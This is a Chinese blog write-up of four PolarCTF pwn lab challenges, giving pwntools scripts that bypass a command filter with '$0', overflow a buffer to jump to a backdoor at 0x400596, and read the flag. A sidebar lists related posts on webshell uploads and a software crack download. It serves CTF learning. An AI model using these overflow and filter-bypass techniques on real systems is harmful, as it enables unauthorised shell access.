Polar PWN内容WP

Polar靶场-Pwn-困难-8字节能干什么(leak ebp 与栈迁移) 栈迁移的核心:首先利用栈溢出将 ebp 覆盖为目标地址(也就是想迁移到哪里)然后把返回地址ret addr 覆盖为 leave;ret 指令的地址,这样我们可以执行两次 leave;ret。第一次,函数正常返回,执行 leave;ret,mov esp ebp 让两个指针处于同一位置(ebp)pop ebp 会将 ebp 弹到我们覆盖的那个地址,接着 ret,返回到下一个 gadget,再次执行 leave;ret,mov esp ebp ,将 esp 也迁移到了 ebp 的位置。 阅读详情

一、sandbox

先下载文件

将文件放进虚拟机中查看一下

发现是一个64位程序,并且开启Canary和NX保护


简单介绍一下 #本段内容取至其他博主

NX保护机制:将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

Stack保护机制:在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。


我们继续,将程序丢入IDA64中查看一下main函数

发现一个叫box的函数,进去看一看

发现buf不能输入sh cat flag 但又要给buf赋值来执行system命令得到权限

这里我也不会,看了WP发现是给buf输入$0

懂的人可以评论说一下 蟹蟹~

明白之后编写脚本

from pwn import *
r =remote("120.46.59.242", 2117)
payload='$0'
r.sendline(payload)
r.interactive()

然后运行脚本

得到flag

二、creeper

老规矩,下载丢进虚拟机看一下(下载就不截图了)

ELF 64位程序,并且只开启了NX保护

丢进IDA64看一下main函数

看到了一个叫game的函数,双击进去看一下

发现关键信息 system("cat flag");

当buf长度等于15的时候就会执行system("cat flag");

话不多说开干

脚本如下:

from pwn import *
r =remote("ip", port)
r.recvuntil('Creeper?')
r.send('a'*15)

运行后得到FLAG

三、简单溢出

听名字就猜一下,应该是简单的栈溢出

丢进虚拟机看一下

ELF文件,64位程序,开启了NX保护机制

现在进入IDA64 查看一下

就一个输入? 我们在找找看 shift+F12查看一下字符串

看看发现了啥! /bin/sh 这可是个好东西呢

双击看一下位置

跟到fact函数中再看看

经典到不能再经典的后门函数了

记录一下该函数的内存地址 0x400596

然后记录一下偏移量 0x30+8

为啥是0x30+8因为已经标志出来了 [rbp-30]

至于后面的+8 是因为这是64位程序,要是32位就+4

好了偏移量和函数地址都记录了,开搞把

from pwn import *
r =remote("ip", port)
​
sys_addr=0x400596
padding=0x30+8
payload=b'a' * padding + p64(sys_addr)
r.sendline(payload)
r.interactive()
​

然后运行脚本,cat flag得到flag

四、system

老规矩不说了,虚拟机 先file 然后checksec一下

ELF 文件,64位程序,Canary保护,NX保护

然后进IDA

shift+F12 发现没有 /bin/sh 只能老老实实去看一下main函数了

有时我真的怀疑这是认真的么,直接发送cat flag 字符串即可

编写脚本

from pwn import *
r =remote("ip", port)
payload=b'cat flag'
r.sendline(payload)
r.interactive()

运行后得到flag

不会写GLSL?用Cesium 1.120 + Heatmap.js 2.0.5也能搞定动态洪水模拟(附完整源码) 本文介绍了一种无需GLSL编程的3D洪水动态模拟方案,结合Cesium 1.120和Heatmap.js 2.0.5实现高效可视化。通过数据层、可视化层和集成层的技术降级方案,开发者可以快速构建专业级洪水演进效果,适用于应急管理、水利工程等场景。文章包含完整源码和性能优化技巧。 阅读详情

相关推荐

二、基于C语言的JPEG解码代码详解

// JPEG解码 // 输入JPEG后输出Bitmap #include <stdio.h> #include <stdlib.h> #pragma warning(disable : 4996) unsigned int BuffIndex; // JPEG数据的位置 unsigned int BuffSize; // JPEG数据的大小 unsigned int BuffX; // 图像的横向尺寸 unsigned int BuffY; //

m0_37633745的博客 4451

Polar PWN内容WP 三

老规矩查看一下文件64位开启nx保护进入ida查看一下有两个函数,一个叫dalao,一个叫caiji输入1进入大佬函数,输入2进入菜鸡函数,先进去大佬函数看一下淦,被骂了;进入菜鸡函数看一下一个溢出漏洞,shift+F12查找字符串有bin/sh跟踪一下发现一个标准的后门函数思路:输入2进入菜鸡函数,然后利用溢出跳到后门函数位置编写然后cat flag即可。

pythonZLX的博客 2221

开关电源环路补偿--开关电源进阶知识补充1

笔记 一 . 做开关电源环路补偿时候为了使得环路更加稳定。 1 .-- > 希望开关电源的相位裕量在45° 以上, 2. – > 希望开关电源的增益裕量在10db 以上 3. – > 希望开关电源增益曲线在过0db 时候以20db /dec 斜率下降(体现1个极点) 4. – > 希望开关电源补偿之后的带宽达到开关频率的是1/5 ~1/10,用以原理开关电源的开关噪音。 左边图示电源瞬态拉载和释放负载的时候输出电压存在明显的振铃,说明这个目前的环路相位裕量(phase m

qq_29776365的博客 1万+

pwn -- 沙盒机制详解

沙盒机制详解概述开启沙盒的两种方式prctl函数调用seccomp库函数使用seccomp-tools识别沙盒两道例题pwnable_asm参考博客总结 概述   沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。   在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只

lifanxin的博客 7122

告别手动点鼠标:用Python脚本批量跑ADS版图仿真,效率提升10倍(附完整代码)

本文详细介绍了如何利用Python脚本自动化ADS版图仿真流程,显著提升射频工程师的工作效率。通过调用ADS底层接口,实现参数化修改、批量任务调度和结果自动收集,解决了手动操作中的常见问题,如仿真不更新等。附完整代码,帮助开发者快速实现10倍效率提升。

weixin_42523543的博客 331

是德频谱分析仪相位噪声测量实战指南:从原理到精准操作

本文详细介绍了是德频谱分析仪在相位噪声测量中的实战操作指南,从基础概念到高级技巧全面解析。通过5G基站时钟测量等实际案例,展示如何利用是德N9030B等设备精准测量相位噪声,并分享设备预热、参数设置、环境干扰排除等关键操作要点,帮助工程师提升测量精度和效率。

jenkins8butler的博客 229

PolarCTF 靶场PWN(一)

read能输入40个字节 buf只有32个存在溢出 然后我们计算buf到s2的距离 (0x50-0x30)覆盖到这里之后 在输入lovecat\x00。打开ida发现了box函数,分析之后发现不能输入cat flag,但是还要对buf进行赋值。照例checksec查一下发现是64位然后开启了NX保护。照例查看 在ida里发现有输入可以造成溢出。找漏洞没找到到这里就很懵了,不知道怎么做了。学习一下别的师傅的思路发现直接输入$0就行。这就典型的后门函数了,直接写exp。然后我们就可以写exp了。

2402_88025561的博客 783

STM32G474使用HRTIM触发多路ADC采样,通过DMA传输,通过串口打印显示,实现PWM中间时刻采样,避免开关噪声

本章工程使用HRTIM定时器进行ADC的触发,打开主定时器,子定时器A,B,C。(本工程未使用到A与C定时器,配置时可无需打开)主定时器配置:设置主定时器的频率为100KHz,并且设置自动更新以及自动重装载值。子定时器B设置:设置子定时器B为100KHz,并且每九次计数完成后产生一次中断。配置如上:1.打开自动预装载值2.打开自动复位3.设置死区时间以及互补PWM4.定时器复位触发更新寄存器5.定时器翻转重置更新6.重置触发源(定时器计数器在发生更新事件时重置)

weixin_41407439的博客 4907

Polar PWN内容WP 二

下载文件放入虚拟机中查看一下32位ELF文件,开启栈不可执行保护(NX)放入IDA中看一下映入眼帘的就是一个flag函数,直接看一下flag函数中的内容好嘛!cat flag 思路明确了接着我们进入main函数中出现的yes函数,查看一下yes函数中的内容一个栈溢出,read写入的是100个字节,远远超出定义的58字节利用溢出,返回cat flag思路有了计算偏移地址偏移地址:0x58+4找出flag函数地址差不多了,开搞!​运行脚本后得到flag。

pythonZLX的博客 2489

SPICE仿真软件:Ngspice_(2).安装与配置

在Netlist文件中直接定义模型。V1 1 0 5R1 2 0 1k* Analysis库文件中可以包含多种电路元件模型和参数。

kkchenjj的博客 1585

华为OD新系统机试真题 - 获取大写字母瓷砖拼出独特图案数量

华为OD机试新系统真题【获取大写字母瓷砖拼出独特图案数量】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD新系统四月二十九号机试真题【获取大写字母瓷砖拼出独特图案数量】

qq_45776114的博客 1218

Polar PWN内容WP 四

先去下载文件,然后导入到虚拟机中file和checksec一下可以看到是64位程序,并且同时开启了金丝雀和NX保护我们将程序放进IDA中查看一下源码有一个很明显的后门函数,但是需要一些条件在我们运行程序的时候会问我们是不是喜欢小猫,此时有两个选项其实不管输入哪个都无法触发后门函数,因为输入的内容是在buf变量中,而参与判断的是s2变量。我们发现buf变量定义是32个而read可输入的是40个,所以这里有溢出点buf到s2的距离是0x50-0x30。

pythonZLX的博客 1041

Android Audio其他——数字音频接口(附)

数字音频接口 DAI,即 Digital Audio Interfaces,顾名思义,DAI 表示在板级或板间传输数字音频信号的方式。相比于模拟接口,数字音频接口抗干扰能力更强,硬件设计简单,DAI 在音频电路设计中得到越来越广泛的应用。

小旭的专栏 1027

Polar PWN(1)

立志刷题攒够500 polar币。

wlmt666的博客 1225

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Polar靶场做题 —— test_format

PolarD&N_pwn_test_format

2301_76262491的博客 855

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

polar靶场刷题

挨个截图太麻烦,只写思路和exp。

szcn555的博客 810

polar秋季赛部分题目wp(web全解)

<think>我们被要求根据提供的完整内容生成一篇≤150字的文章摘要。内容涵盖了CTF比赛的 writeup,分为五个部分:MISC、CRYPTO、WEB、REVERSE、PWN,每部分都列出了具体的题目及解法摘要。我们需要生成一个简短的摘要,概括这些内容。 要求:“根据以下内容,生成≤150字的文章摘要”。这意味着我们需要提取核心信息:这是一篇CTF解题writeup合集,涵盖多个方向题目及Flag。 应当控制在150字以内。注意中文字符算字数。我们应简洁概括。 可能的摘要: “本文汇总CT

2401_88381079的博客 477

PolarCTF 2024夏季个人挑战赛 个人WP

PolarCTF 2024夏季个人挑战赛 个人WP

Jay17的博客 3035

1.15寒假作业

打开环境,理解代码使用个体传参的方法,首先代码会检查file参数的前三个字符是不是php,如果是就输出nice,然后用include函数包含file,绕过不是则输出hacker,如果没有file字样就用以语法高亮的形式显示当前文件的内容。题目的类型是php伪协议,不妨试一下昨天的查看方式,结果提示是这样的首先flag?

zl0_00_0的博客 2496

1.13寒假作业

题目给了一张图,图上又flag肯定是假的,查一下有没有隐藏水印也没有,那么就用stegsolve分析一下,可以看到ASCII码是pk...是zip的格式尝试改文件格式为zip可是解压不出来,用010打开看看,文件头确实是jpg格式的,也就是不存在格式错误的问题,那就是里面藏了一个zip文件了,用010仔细看看,在文件尾部确实有一个zip文件用foremost分离一下,得到一个jpg和一个zip,尝试解压,结果要密码,猜测密码长度和bingdundun一样,爆破一下肯定是爆破不出来的。

zl0_00_0的博客 1034

1.14寒假作业

打开环境,只有一片空白,源代码也什么都没有,题目的分类是涉及到php伪协议,之前写过一题也是为协议,当时是用base64的方式将源码给加密显现出来了,看一下当时得到命令试试看,是可以的php://filter/read=处理方式(base64编码,rot13等等)/resource=要读取的文件;这是命令的解释。具体可以看,解码看看:检查GET请求中是否存在名为N_S.S的参数。:如果存在,使用eval函数对该参数的值进行求值。:检查GET请求中是否不存在名为file的参数。:如果不存在,则使用。

zl0_00_0的博客 898

1.11寒假作业

打开文件解压,是一个文档,之前做过类似的题目,无非就是把文字的颜色变得和背景颜色一样而已,尝试修改颜色果然得到一部分flag不过并不完整,上网搜索其他隐藏手段,得知可以通过一些操作隐藏通过wps自带的功能可以解除隐身,可是flag还是不完整那么就用010分析一下看到文件头是pk或者504B应该是zip的格式,可是文件确实doxc格式,改一下文件格式为zip,解压就可以得到最后一部分flag。

zl0_00_0的博客 841

1.19寒假作业

打开环境要求我们上传jpg文件,那就上传jpg文件响应的时候再改上传的方式。这边要注意如果直接改php后缀为jpg是不能成功的,要这样把php文件和任意的jpg文件结合一下才可以改2.jpg为2.php响应发现上传成功了,路径也说了蚁剑连接但是这个flag是假的,尝试用一下伪协议,直接查看phpinfo,搜索一下即可还是错的...,去看了一下wp才知道应该是对的啊。

zl0_00_0的博客 495

1.16寒假作业

提示传个木马,上传之后蚁剑连接不上,要找一下路径,用bp重放试试看也是没找到,返回去看题目的标签有一个htaccess文件,了解一下,可按照这篇博客来试试看,可是传上去,之后连接不上去看了一下别人的做法,他们htaccess文件的内容不一样这个htaccess文件的作用就是把jpg文件用php的解析方法解析,图中2.jpg就是要解析的文件,先把htaccess文件上传之后,再上传一个jpg文件,文件内容是一句话木马上传之后就可以连接了是Apache服务中的一个配置文件,它负责相关目录下的网页配置。

zl0_00_0的博客 1057

1.24寒假作业

打开环境让我们点击一下获得flag,显然是没用的,看一下源代码提示我们访问一下src,访问一下可以得到一个python代码理解一下:用户通过 GET 方法访问根路径时,返回index.html文件,也就是说不能直接在浏览器url直接输入命令访问文件,我们要用put的请求方式访问对应的路径才能得到flag,到这脑子里有两个办法,要么用bp去改请求头,要么用python脚本去实现,这边用bp抓包,并修改注意这边改的时候不要直接复制粘贴,建议用图中右侧那个bp自带功能去改,不然可能乱码。

zl0_00_0的博客 503

2.4寒假作业

打开环境,叫我们尝试访问一下文件尝试对应的路径,没有结果,代码审计,检查用户十分使用get的方式传参filter,后面使用一个正则判断传参的数据中是否包含flag,如果没有就报错,这边又涉及到include函数,如果文件名通过检查,脚本尝试使用include函数包含该文件,这个函数会包含并执行指定的文件。那么我们尝试执行一下cat函数,也是报错看这个感觉是层级的问题,尝试之后也是没什么结果。

zl0_00_0的博客 944

PolarD&amp;N-CTF-web方向-困难_polard&amp;n 没人能拒绝猫猫 ctf

那么我们就直接开始构造。在写本题时我学会了使用一个类时,调用类中不存在的变量以达到实现get()的调用。比如说:让file[‘filename’]=new FileRobot()这样就可以实现get的调用了。这里可以使用url编码,因为中间有一个private的属性。或者在payload中更改不可见字符为%00也可以,但是flag不在当前目录,wp说flag在上一级目录,那么我们payload中要读取的是…/flag.php就可以了。所以最终的payload:?i:110;

2401_83620959的博客 1000
上一篇: Windows操作系统基础
下一篇: Polar PWN内容WP 二
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值